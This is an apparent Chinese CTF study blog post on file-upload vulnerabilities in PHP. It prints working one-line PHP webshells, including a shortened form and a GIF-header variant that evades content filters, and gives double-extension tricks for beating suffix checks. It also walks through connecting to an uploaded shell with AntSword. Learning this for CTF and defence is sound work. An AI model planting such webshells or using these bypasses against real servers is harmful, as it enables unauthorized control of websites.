IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> web安全学习(6)文件上传漏洞 -> 正文阅读

[PHP知识库]web安全学习(6)文件上传漏洞

web安全学习(6)文件上传漏洞

最近做web题的时候遇到的文件上传题型。

概括

题就很明显,就是让上传一个文件,一般都是要求图片格式
但是它接收的时候由于条件限制或者是筛查不严导致有漏洞可以利用
具体的利用方式要看它后端的接收语言和限制条件

目前我做到的只有PHP类型的,但是我想其他类型大概也是一样的方法
如果不知道的话可以先随便上传一个文件,然后burp抓包看一下
总体来说就是利用一句话木马然后再用蚁剑或者菜刀来获得webshell

利用方法

将木马写入txt,上传,然后burp抓包更改文件格式

PHP一句话木马:

eval(): <?php @eval($_POST['hacker']); ?>

上传成功后就打开蚁剑或者菜刀来获取webshell
我一般用的是蚁剑,利用方式如下

右键,点击添加数据
第一步
在url地址处写上传后文件所在地址加上上传的文件名
比如你上传的地址是127.0.0.1:3366/upload
上传的文件名是1.txt
那你的url处就应该是http://127.0.0.1:3366/upload/1.txt
连接密码处的内容就是你一句话木马中eval($_POST[‘hacker’])单引号里的内容
我这里是hacker 那填写的就应该是hacker
在这里插入图片描述
其他选项默认
然后可以测试连接一下,显示成功就点击添加
然后连接webshell成功,就可以查看修改网站里的内容了

限制类型

但是这是最基本的上传方式,一般来说都会有限制条件
包括内容限制,后缀名限制等

内容限制

就是限制上传文件的内容

有的时候会限制上传文件的大小
这时就需要对一句话木马就行修改,删除些内容,也就是简写木马
PHP一句话木马可以简写为:

<?@eval($_POST[0])?>

有的时候还会对里面写的东西进行筛选
比如我就遇到过内容检测不允许有’<?’
这时候一句话木马可以为:

GIF89a? < script language=“php”>eval($_REQUEST[1]) < /script>

后缀名限制

这个就比较变态了,需要自己去试
就有时候直接上传php不行
可以将后缀名改为jpg.php、png.php
有时候需要多加几个后缀 jpg.jpg.php、jpg.jpg.jpg.php
这个就只有自己试了

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-08-21 15:07:20  更:2021-08-21 15:10:01 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年5日历 -2024/5/13 19:15:15-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码